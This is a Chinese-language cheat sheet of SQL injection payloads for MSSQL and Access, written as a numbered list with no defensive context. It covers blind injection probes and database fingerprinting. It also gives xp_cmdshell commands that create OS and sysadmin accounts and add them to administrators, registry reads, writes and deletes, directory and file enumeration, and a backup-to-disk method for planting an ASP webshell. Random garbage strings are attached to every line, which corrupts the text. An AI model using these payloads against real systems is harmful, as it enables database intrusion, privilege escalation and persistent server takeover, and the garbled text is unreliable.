1.判断是否有注入;and 1=1 ;and 1=2 >wb Uxl%{5
2.初步判断是否是mssql ;and user>0 Zz"8
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3.注入参数是字符'and [查询条件] and ''=' -iKoQkHt
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3&mpn,
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5.判断数据库系统 :w+vi7l$
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;and (select count(*) from sysobjects)>0 mssql w!'y,yb%
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;and (select count(*) from msysobjects)>0 access `]^W#6l
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 V>/,&~0
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [>t;P,
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 +abb[
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9.(1)猜字段的ascii值(access) .+kg1=s
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 4XAs^>N+
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(2)猜字段的ascii值(mssql) lV$CBS
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;dPaWS1D
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10.测试权限结构(mssql) g9fYt&
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- < Sgc6>)
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- m2"wMt"*V
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Yxbg _RQm
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- eh>
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- YC')vv3o(
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- M[~{!0Uz
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;and 1=(select IS_MEMBER('db_owner'));-- JsNj!aeU%
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11.添加mssql和系统的帐户 :;eQ*{ `\
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;exec master.dbo.sp_addlogin username;-- zyhM*eM.7
;exec master.dbo.sp_password null,username,password;-- ]A5Y/dd
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- o$eCd{HuX
;mT}Q;F#
;exec master.dbo.xp_cmdshell 'net user username password q/@+.q
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ^ghYi|kQq
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- "T{WOGU+
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }Nd1'BVf
>}\s-/
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12.(1)遍历目录 !Ve0 :$
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;create table dirs(paths varchar(100), id int) 1Acs0`3
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;insert dirs exec master.dbo.xp_dirtree 'c:\' LWm1j:0
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;and (select top 1 paths from dirs)>0 Y!_{:2H8p
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ch:rAx
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} 6!/Nb
(2)遍历目录 C#nT@;VO5
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ge1. HG
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \*=wm$p&*
9?MzIt
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 J@2wPKh?Yp
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 )~)l^0X
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8/
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 `MCiybl,&P
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13.mssql中的存储过程 1P(=0\P>&
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xp_regenumvalues 注册表根键, 子键 $BMXjXd}
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Y|Q(JX
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xp_regread 根键,子键,键值名 n)"JMzjQ<
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;exec xp_regread
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 %K4M`R|2]
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xp_regwrite 根键,子键, 值名, 值类型, 值 Y&j`HO8f
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 5RN!"YLI3
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Mq)]2>"v
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xp_regdeletevalue 根键,子键,值名 %]&$VVVh
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 :Q> e54]'&
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 / Qd` ?
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14.mssql的backup创建webshell pQBn8H|Y
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use model n}.e(z_"
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create table cmd(str image); gAWi&
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insert into cmd(str) values (''); 3?a`@C&x
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backup database model to disk='c:\l.asp'; dhob]8b
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15.mssql内置函数 p"p~Bx
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;and (select @@version)>0 获得Windows的版本号 '~&W'='b;
wpM2{NTP
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6whPW
.
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;and (select user_name())>0 爆当前系统的连接用户 4F|79U #
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;and (select db_name())>0 得到当前连接的数据库 7/IL"
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16.简洁的webshell I{cH$jt<
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use model G-T^1?
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create table cmd(str image); >|A,rE^Ojt
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insert into cmd(str) values (''); W :]2Tp
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backup database model to disk='g:\wwwtest\l.asp';